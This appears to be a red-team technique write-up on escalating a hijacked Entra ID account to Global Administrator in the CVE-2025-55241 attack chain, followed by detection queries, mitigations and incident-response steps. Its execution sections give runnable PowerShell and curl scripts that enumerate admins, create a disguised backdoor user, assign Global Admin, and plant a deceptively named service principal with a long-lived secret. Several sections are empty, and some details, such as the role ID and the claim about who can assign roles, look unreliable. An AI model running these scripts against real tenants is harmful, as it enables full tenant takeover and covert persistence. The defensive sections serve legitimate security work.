MCADDF

[REALWORLD-008]: Actor Token Global Admin Escalation

Metadata

Attribute Details
Technique ID REALWORLD-008
MITRE ATT&CK v18.1 T1098 - Account Manipulation
Sub-Technique T1098.003 - Additional Cloud Roles
Tactic Persistence, Privilege Escalation
Platforms Entra ID, Microsoft 365, Azure
Severity Critical
CVE CVE-2025-55241
Technique Status FIXED
Last Verified 2025-09-30
Affected Versions All Entra ID versions prior to September 2025 patch
Patched In September 2025 (legacy Graph API removal; token validation hardening)
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: Once an attacker has impersonated a user in a victim Entra ID tenant using CVE-2025-55241 (REALWORLD-005 through REALWORLD-007), the final step is escalating that impersonated account to Global Administrator status. Global Administrator is the highest privilege in Entra ID, granting unrestricted access to all Azure AD/Entra ID configuration, all Microsoft 365 tenants, and all connected Azure subscriptions. Using the same actor token that enabled impersonation, the attacker modifies the target account’s role assignments to add Global Administrator, transforming a compromised user account into a tenant owner-equivalent account. This escalation is irreversible without global audit log access and credential rotation, making it a persistence mechanism that survives password resets, conditional access policy changes, and even Azure AD Connect credential updates.

Attack Surface: The role assignment APIs in both legacy Azure AD Graph API (graph.windows.net) and modern Microsoft Graph, combined with insufficient role-based access control (RBAC) on role modification operations. Any account with directory write permissions can modify other accounts’ role assignments.

Business Impact: Unrestricted tenant takeover. Global Administrator has permissions to: modify all conditional access policies (disabling security controls), reset other admin passwords, create backdoor service principals with permanent access, grant themselves Azure subscription Owner role, modify Office 365 settings (create mail rules, delegate access, etc.), reset audit log retention policies, and modify or delete audit logs. A single compromised Global Admin account is equivalent to complete tenant compromise.

Technical Context: Escalation typically takes 2-3 minutes once impersonation is achieved. The escalation operation may generate an AuditLog entry (Add member to role) but will appear as a legitimate administrative action if the impersonating account already appears to have some organizational access.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark AC-2.1 Role-based access control failure - excessive privilege escalation
CIS Benchmark AC-5.1 Privilege escalation not prevented or detected
DISA STIG AC-2.2 Least privilege enforcement failure
CISA SCuBA Entra ID - 1.3 Global Administrator role access not properly restricted
NIST 800-53 AC-3 Access enforcement failure - privilege escalation allowed
NIST 800-53 AC-6 Least privilege violation
GDPR Art. 32 Security of processing - privilege management failure
DORA Art. 16 Governance and compliance failure - admin access not monitored
NIS2 Art. 23 Incident response and reporting - compromise detection failure
ISO 27001 A.9.1.1 Access control policy failure
ISO 27005 Risk ID-8 Privilege escalation scenario

2. TECHNICAL PREREQUISITES

Required Privileges:

Required Access:

Supported Versions:

Tools:


3. ENVIRONMENTAL RECONNAISSANCE

Enumerate Global Administrator Role and Current Members

# Connect with impersonated account's token
$Token = "eyJ0eXAiOiJKV1QiLCJhbGc..."
$Headers = @{
    "Authorization" = "Bearer $Token"
    "Content-Type" = "application/json"
}

# Query Global Administrator role
$RoleUrl = "https://graph.microsoft.com/v1.0/directoryRoles?filter=displayName eq 'Global Administrator'"
$RoleResponse = Invoke-RestMethod -Uri $RoleUrl -Headers $Headers
$GlobalAdminRoleId = $RoleResponse.value[0].id

# Get current Global Admin members
$MembersUrl = "https://graph.microsoft.com/v1.0/directoryRoles/$GlobalAdminRoleId/members"
$Members = Invoke-RestMethod -Uri $MembersUrl -Headers $Headers

Write-Host "Current Global Administrators:"
$Members.value | ForEach-Object { Write-Host $_.userPrincipalName }

What to Look For:

Check Current Account’s Role Assignments

# Query current impersonated account's roles
$UserId = "current-impersonated-user-id"
$RolesUrl = "https://graph.microsoft.com/v1.0/users/$UserId/memberOf?$filter=IsAssignedRole eq true"
$UserRoles = Invoke-RestMethod -Uri $RolesUrl -Headers $Headers

Write-Host "Current Roles for Impersonated Account:"
$UserRoles.value | ForEach-Object { Write-Host $_.displayName }

4. DETAILED EXECUTION METHODS

METHOD 1: Escalate to Global Admin via Microsoft Graph (Modern API)

Supported Versions: All Entra ID versions (modern API not affected by CVE-2025-55241 token impersonation, but vulnerable to privilege escalation via impersonated account)

Step 1: Identify Target Account for Escalation

Objective: Determine which account to escalate to Global Admin (usually the impersonated account itself or a newly created backdoor account).

Command (Enumerate Users):

$Token = "eyJ0eXAiOiJKV1QiLCJhbGc..."
$Headers = @{
    "Authorization" = "Bearer $Token"
    "Content-Type" = "application/json"
}

# Option A: Escalate current impersonated account
$CurrentAccountUrl = "https://graph.microsoft.com/v1.0/me"
$CurrentAccount = Invoke-RestMethod -Uri $CurrentAccountUrl -Headers $Headers
$TargetUserId = $CurrentAccount.id

Write-Host "Will escalate to Global Admin: $($CurrentAccount.userPrincipalName)"

# Option B: Create new backdoor account for persistence
$NewUserPayload = @{
    accountEnabled = $true
    displayName = "Cloud Integration Service"
    mailNickname = "cloudintegration"
    userPrincipalName = "cloudintegration@contoso.onmicrosoft.com"
    passwordProfile = @{
        forceChangePasswordNextSignIn = $false
        password = "GenerateRandomComplex123!@#"
    }
} | ConvertTo-Json

$CreateUserUrl = "https://graph.microsoft.com/v1.0/users"
$NewUser = Invoke-RestMethod -Uri $CreateUserUrl -Method POST -Headers $Headers -Body $NewUserPayload
$TargetUserId = $NewUser.id

Write-Host "Created backdoor account: $($NewUser.userPrincipalName)"

Expected Output:

Will escalate to Global Admin: victim-user@contoso.onmicrosoft.com

What This Means:

Step 2: Get Global Administrator Role ID

Objective: Retrieve the object ID of the Global Administrator role for use in role assignment.

Command (Role Enumeration):

# Query all directory roles to find Global Administrator
$RolesUrl = "https://graph.microsoft.com/v1.0/directoryRoles"
$AllRoles = Invoke-RestMethod -Uri $RolesUrl -Headers $Headers

$GlobalAdminRole = $AllRoles.value | Where-Object { $_.displayName -eq "Global Administrator" }
$GlobalAdminRoleId = $GlobalAdminRole.id

Write-Host "Global Administrator Role ID: $GlobalAdminRoleId"

Expected Output:

Global Administrator Role ID: d2de1e9a-b6c3-4373-b2c7-2b8f9d0e6b8c

What This Means:

Step 3: Add User to Global Administrator Role (THE ESCALATION)

Objective: Assign the target account to the Global Administrator role, granting unrestricted tenant access.

Command (Role Assignment - Privilege Escalation):

# Add user to Global Administrator role
$GlobalAdminRoleId = "d2de1e9a-b6c3-4373-b2c7-2b8f9d0e6b8c"
$TargetUserId = "550e8400-e29b-41d4-a716-446655440001"

$AssignmentPayload = @{
    "@odata.type" = "#microsoft.graph.directoryObject"
    id = $TargetUserId
} | ConvertTo-Json

$AssignmentUrl = "https://graph.microsoft.com/v1.0/directoryRoles/$GlobalAdminRoleId/members/\$ref"

$Assignment = Invoke-RestMethod -Uri $AssignmentUrl -Method POST -Headers $Headers -Body $AssignmentPayload

Write-Host "✓ Successfully escalated account to Global Administrator"

Expected Output:

✓ Successfully escalated account to Global Administrator

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 4: Verify Escalation Success

Objective: Confirm that the account now has Global Administrator privileges.

Command (Verify):

# Query the user's roles after escalation
$UserId = "550e8400-e29b-41d4-a716-446655440001"
$UserRolesUrl = "https://graph.microsoft.com/v1.0/users/$UserId/memberOf?filter=IsAssignedRole eq true"
$UserRoles = Invoke-RestMethod -Uri $UserRolesUrl -Headers $Headers

$UserRoles.value | ForEach-Object {
    if ($_.displayName -eq "Global Administrator") {
        Write-Host "✓ CONFIRMED: Account is now Global Administrator"
    }
}

METHOD 2: Escalation via Legacy Azure AD Graph API

Supported Versions: All Entra ID versions prior to September 2025 (legacy API deprecated but vulnerability existed)

Step 1: Get Global Administrator Role ID (Legacy API)

# Query roles via legacy endpoint
curl -X GET \
  -H "Authorization: Bearer $ACTOR_TOKEN" \
  "https://graph.windows.net/tenant-id/directoryRoles?api-version=1.6&\$filter=displayName eq 'Global Administrator'" | jq

Step 2: Add User to Role (Legacy API)

# Add user to Global Administrator role
ROLE_ID="role-object-id"
USER_ID="target-user-object-id"

curl -X POST \
  -H "Authorization: Bearer $ACTOR_TOKEN" \
  -H "Content-Type: application/json" \
  "https://graph.windows.net/tenant-id/directoryRoles/$ROLE_ID/members?api-version=1.6" \
  -d '{"url": "https://graph.windows.net/tenant-id/users/'$USER_ID'"}'

METHOD 3: Create Persistent Backdoor Service Principal After Escalation

Objective: Once Global Admin, create a service principal with permanent credentials for continued access.

Command (Service Principal Backdoor):

# As Global Admin, create application and service principal for persistence
$AppPayload = @{
    displayName = "Microsoft Security Compliance Service"  # Innocuous name
    signInAudience = "AzureADMultipleOrgs"
} | ConvertTo-Json

$AppUrl = "https://graph.microsoft.com/v1.0/applications"
$App = Invoke-RestMethod -Uri $AppUrl -Method POST -Headers $Headers -Body $AppPayload
$AppId = $App.appId

# Create service principal for the application
$SPPayload = @{
    appId = $AppId
    displayName = "Microsoft Security Compliance Service"
} | ConvertTo-Json

$SPUrl = "https://graph.microsoft.com/v1.0/servicePrincipals"
$SP = Invoke-RestMethod -Uri $SPUrl -Method POST -Headers $Headers -Body $SPPayload

# Add password credential (permanent key)
$CredentialPayload = @{
    displayName = "Service Account Key"
    endDateTime = (Get-Date).AddYears(2)
} | ConvertTo-Json

$CredUrl = "https://graph.microsoft.com/v1.0/applications/$($App.id)/addPassword"
$Credential = Invoke-RestMethod -Uri $CredUrl -Method POST -Headers $Headers -Body $CredentialPayload

Write-Host "Backdoor Service Principal Created:"
Write-Host "App ID: $AppId"
Write-Host "Secret: $($Credential.secretText)"
Write-Host "Valid for 2 years (survives password resets)"

# Assign Global Administrator role to service principal
$AssignPayload = @{
    "@odata.type" = "#microsoft.graph.directoryObject"
    id = $SP.id
} | ConvertTo-Json

$AssignUrl = "https://graph.microsoft.com/v1.0/directoryRoles/d2de1e9a-b6c3-4373-b2c7-2b8f9d0e6b8c/members/\$ref"
Invoke-RestMethod -Uri $AssignUrl -Method POST -Headers $Headers -Body $AssignPayload

Write-Host "Service Principal assigned Global Administrator role"

What This Means:


5. ATTACK CHAIN SUMMARY

Step Phase Technique Description
1 Discovery Network/Tenant enumeration Identify target tenant and admin accounts
2 Reconnaissance [REC-CLOUD-002] Enumeration Enumerate tenants and guest users
3 Credential Access [REALWORLD-006] Token extraction Extract actor tokens from AD Connect or services
4 Defense Evasion [REALWORLD-005] Token impersonation Impersonate legitimate user using actor token
5 Lateral Movement [REALWORLD-007] Token replay Replay tokens across tenant boundaries
6 Current Step [REALWORLD-008] Escalate impersonated account to Global Admin
7 Persistence Create backdoor service principal Ensure continued access independent of audit log cleanup
8 Impact Disable audit logs; ransomware/exfil Attacker now owns tenant completely

6. FORENSIC ARTIFACTS

Cloud (Entra ID):

Post-Compromise Artifacts:


7. MICROSOFT SENTINEL DETECTION

Query 1: Privilege Escalation to Global Administrator

Rule Configuration:

KQL Query:

AuditLogs
| where OperationName == "Add member to role"
| where parse_json(TargetResources)[0].displayName == "Global Administrator"
| extend InitiatingActor = tostring(parse_json(InitiatedBy.user).userPrincipalName)
| extend EscalatedUser = tostring(parse_json(TargetResources)[0].userPrincipalName)
| project TimeGenerated, InitiatingActor, EscalatedUser, OperationName
| where InitiatingActor != "admin@microsoft.com"  // Exclude Microsoft service accounts
| join kind=leftouter (
    SigninLogs
    | where ResultType == 0
    | project LastSigninTime = TimeGenerated, UserPrincipalName
  ) on $left.InitiatingActor == $right.UserPrincipalName
| where isempty(LastSigninTime) or (TimeGenerated - LastSigninTime) > 1h  // Role change without recent sign-in

What This Detects:

Query 2: Service Principal Backdoor Creation + Global Admin Assignment

Rule Configuration:

KQL Query:

// Detect service principal creation followed by Global Admin role assignment
let SPCreation = 
    AuditLogs
    | where OperationName == "Create service principal"
    | extend CreationTime = TimeGenerated, CreatedSPId = parse_json(TargetResources)[0].id;

let RoleAssignment =
    AuditLogs
    | where OperationName == "Add member to role"
    | where parse_json(TargetResources)[0].displayName == "Global Administrator"
    | extend AssignmentTime = TimeGenerated, AssignedId = parse_json(TargetResources)[0].id;

SPCreation
| join kind=inner RoleAssignment on $left.CreatedSPId == $right.AssignedId
| where (AssignmentTime - CreationTime) between (0m .. 10m)  // Role assigned within 10 min of creation
| project CreationTime, AssignmentTime, ServicePrincipalName = parse_json(TargetResources)[0].displayName

8. WINDOWS EVENT LOG MONITORING

Event ID: 4662 (Audit Directory Service Changes)

Manual Configuration:

# Enable Directory Service audit logging (on-premises)
auditpol /set /subcategory:"Directory Service Changes" /success:enable /failure:enable

9. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL - Restrict Global Administrator Role Assignments

Implement Privileged Identity Management (PIM) to require approval for Global Admin assignments.

Manual Steps (Azure Portal):

  1. Go to Azure PortalAzure AD Privileged Identity ManagementRoles
  2. Click Global Administrator
  3. Click SettingsEdit
  4. Enable:
    • Require approval to activate
    • Require multi-factor authentication
    • Activation duration: 1 hour
  5. Approval settings: Require approval from other Global Admins
  6. Click Update

Validation Command:

# Verify PIM is enabled for Global Administrator role
Connect-AzureAD
Get-AzureADDirectoryRoleSetting | Where-Object DisplayName -eq "Global Administrator"

Priority 2: CRITICAL - Monitor Global Administrator Changes in Real-Time

Enable Azure AD Identity Protection and alert on all role modifications.

Manual Steps (Azure Portal):

  1. Go to Azure PortalMicrosoft Defender for CloudSecurity alerts
  2. Create Custom detection rule:
    • Name: Global Admin Role Modification Alert
    • Condition: OperationName == "Add member to role" AND DisplayName == "Global Administrator"
    • Action: Notify security team immediately

Priority 3: HIGH - Implement Role-Based Access Control (RBAC) for Admin Actions

Limit which accounts can modify Global Admin role assignments.

Manual Steps (PowerShell):

# Create custom role with restricted permissions (cannot modify Global Admin)
$RoleTemplate = @{
    displayName = "Restricted User Administrator"
    description = "Can manage users but cannot assign Global Admin"
    templateId = "fe930be7-5e62-47db-91af-98c3a49a38b1"  # User Administrator template
    permissions = @(
        @{
            allowedResourceActions = @(
                "microsoft.directory/users/basic/update",
                "microsoft.directory/users/delete",
                "microsoft.directory/users/create"
                # NOTE: Intentionally exclude "microsoft.directory/roleAssignments/create"
            )
        }
    )
}

New-AzureADMSRoleDefinition -RoleDefinition $RoleTemplate

Priority 4: MEDIUM - Require MFA for Global Administrator Accounts

Enforce phishing-resistant MFA (FIDO2, Windows Hello) for all Global Admins.

Manual Steps (Azure Portal):

  1. Go to Entra IDUsersMulti-Factor Authentication
  2. Select all Global Administrator accounts
  3. Require Multi-Factor Authentication: Enable
  4. Specify MFA method: FIDO2 key or Windows Hello (phishing-resistant only)

10. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Suspicious Role Escalations:

Backdoor Service Principal Indicators:

Incident Response (0-2 hours)

Step 1: Revoke Escalated Account’s Sessions

# If escalated account is human-originated:
Revoke-MgUserSignInSession -UserId "escalated-account-id"

# If service principal backdoor:
Remove-MgServicePrincipalPasswordCredential -ServicePrincipalId "backdoor-sp-id" -PasswordCredentialId "credential-id"

Step 2: Remove from Global Administrator Role

# Remove from Global Admin role
$GlobalAdminRoleId = "d2de1e9a-b6c3-4373-b2c7-2b8f9d0e6b8c"
$AccountId = "escalated-account-id"

Remove-MgDirectoryRoleMemberByRef -DirectoryRoleId $GlobalAdminRoleId -DirectoryObjectId $AccountId

Step 3: Investigate Audit Logs for Changes Made

# Query what changes were made by escalated Global Admin
Search-UnifiedAuditLog -UserId "escalated-account-upn" -StartDate (Get-Date).AddHours(-24) |
    Select-Object TimeStamp, Operations, ResultStatus | Export-Csv "C:\Evidence\AdminActivity.csv"

Step 4: Restore Conditional Access Policies and Audit Settings

# Check if audit logging was disabled
$AuditConfig = Get-AdminAuditLogConfig
Write-Host "Audit Logging Enabled: $($AuditConfig.UnifiedAuditLogIngestionEnabled)"

# If disabled, enable immediately
Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $true

# Verify all CA policies are still active
Get-MgIdentityConditionalAccessPolicy | Select-Object DisplayName, State

11. REAL-WORLD EXAMPLES

Example 1: LAPSUS$ - Twitter/Okta Compromise (2022)

Example 2: APT29 Microsoft Exchange Compromise


12. CONCLUSION

Privilege escalation to Global Administrator is the final step in the CVE-2025-55241 attack chain. Once attacker achieves this level, the tenant is fully compromised and recovery is extremely difficult.

Critical mitigations:

  1. Implement PIM with approval workflows for Global Admin assignments
  2. Enable real-time alerts on all role modifications
  3. Require phishing-resistant MFA for all Global Admins
  4. Monitor audit logs continuously for suspicious service principals
  5. Implement least-privilege role assignments by default

The absence of Global Administrator credentials on regular administrator workstations and the requirement for multi-factor authentication are the strongest defenses against this attack.